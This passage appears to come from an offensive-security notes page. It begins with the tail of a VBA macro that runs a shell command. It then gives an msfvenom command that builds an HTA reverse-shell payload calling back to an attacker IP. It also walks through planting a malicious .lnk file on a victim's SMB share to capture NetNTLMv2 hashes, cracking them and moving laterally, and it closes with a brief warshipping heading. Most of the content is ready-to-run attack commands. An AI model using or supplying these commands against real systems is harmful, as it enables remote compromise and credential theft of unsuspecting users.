152 CreateObject("Wscript[.]Shell")[.]Run Str
153End Sub

Initial Payload

🐺 howlsec@kalicode

01msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.189 LPORT=443 -f hta-psh

unnamed_a65dc02c922b48cbb63433051741e40f

smb mslink file

You need access to a target user smbshare, and for them to look or click the malicous file.

This attack will give you a netntlmv2 hash if the user (or anyone looking at the file within the folder will trigger the event)

🐺 howlsec@kalicode

01wget <https://www.mamachine.org/mslink/mslink_v1.3.sh>

Creating the malicous link file. (The ip you wanna be using here is your own) ./mslink_v1.3.sh -l whatever -n hook -i \\\\10.13.31.108\\share -o hook.lnk

Then host your smbserver and make sure to have the .lnk file in same folder: impacket-smbserver share ./ -smb2support

Now connect to the users remote share and place malicous .lnk file: smbclient \\\\10.10.20.141\\Files -U myrtleowe put hook.lnk

Wait for the event to trigger (for target user to open file or have folder open with file in it): unnamed_5a4c6b2928424c909d275090682afd2f

(you can do with responder instead of smbserver too) unnamed_f0adb844498f420fa6a7d898d1fc458c

And bam, it triggeres. Next up is trying to crack this netntlmv2 hash:

unnamed_160e27814f054b089b54724c871daf8c Awesome, now we can move laterally to MichelleWat!

Warshipping Rogue AP

Warshipping: https://www.youtube.com/watch?v=GbkMA_VKbu0